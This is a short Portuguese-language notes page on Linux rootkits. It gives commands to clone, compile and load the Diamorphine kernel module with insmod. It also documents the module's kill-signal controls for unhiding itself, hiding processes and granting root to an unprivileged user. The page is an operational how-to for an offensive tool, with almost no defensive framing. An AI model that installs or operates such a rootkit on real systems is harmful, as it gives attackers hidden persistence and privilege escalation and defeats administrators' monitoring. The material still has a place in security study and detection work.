# Rootkit

Atacentes podem usar rootkits para ocultar a presença de programas, arquivos, conexões de rede, serviços, drivers e outros componentes do sistema. Rootkits são programas que escondem a existência de malware interceptando / "hookando" e modificando chamadas de API do sistema operacional que fornecem informações do sistema.

### Diamorphine

#### Instalando

```bash
git clone https://github.com/wazuh/Diamorphine.git
cd Diamorphine
make
insmod diamorphine.ko
```

{% hint style="success" %}
**NOTA**: O Diamorphine só funciona em kernel 2.6.x / 3.x / 4.x / 5.x. Utilize o comando **`uname -r`** para verificar a versão do kernel em questão.
{% endhint %}

#### Verificando Módulo

Para verificarmos quais os Módulos do Kernel Linux (LKM - Linux Kernel Module), podemos executar no terminal o comando `lsmod`. Porém note que, o `Diamorphine` por padrão não aparece nos módulos listado, o que faz todo sentido, já que se trata de um rootkit. Por questões de curiosidade, podemos exibí-lo na lista, executando o comando abaixo (o parâmetro `<random_pid>` pode ser 0):

```
kill -63 <random_pid>
```

Veja novamente os módulos e note que o Diamorphine agora está visível.

```
lsmod
```

Para ocultar o módulo novamente, basta executar o mesmo comando que foi utilizado para ocultá-lo.

#### Ocultando e Mostrando Processos

Utilize o mesmo comando abaixo para ocultar e exibir processos.

```
kill -31 <pid>
```

#### Acessando Conta root

Com algum usuário (que não seja root), execute (o parâmetro \<random\_pid> pode ser 0):

```
kill -64 <random_pid>
```

Agora se executar um `whoami`, irá ver que está com o usuário root.

### Sites

```bash
# Diamorphine
https://github.com/wazuh/Diamorphine
```
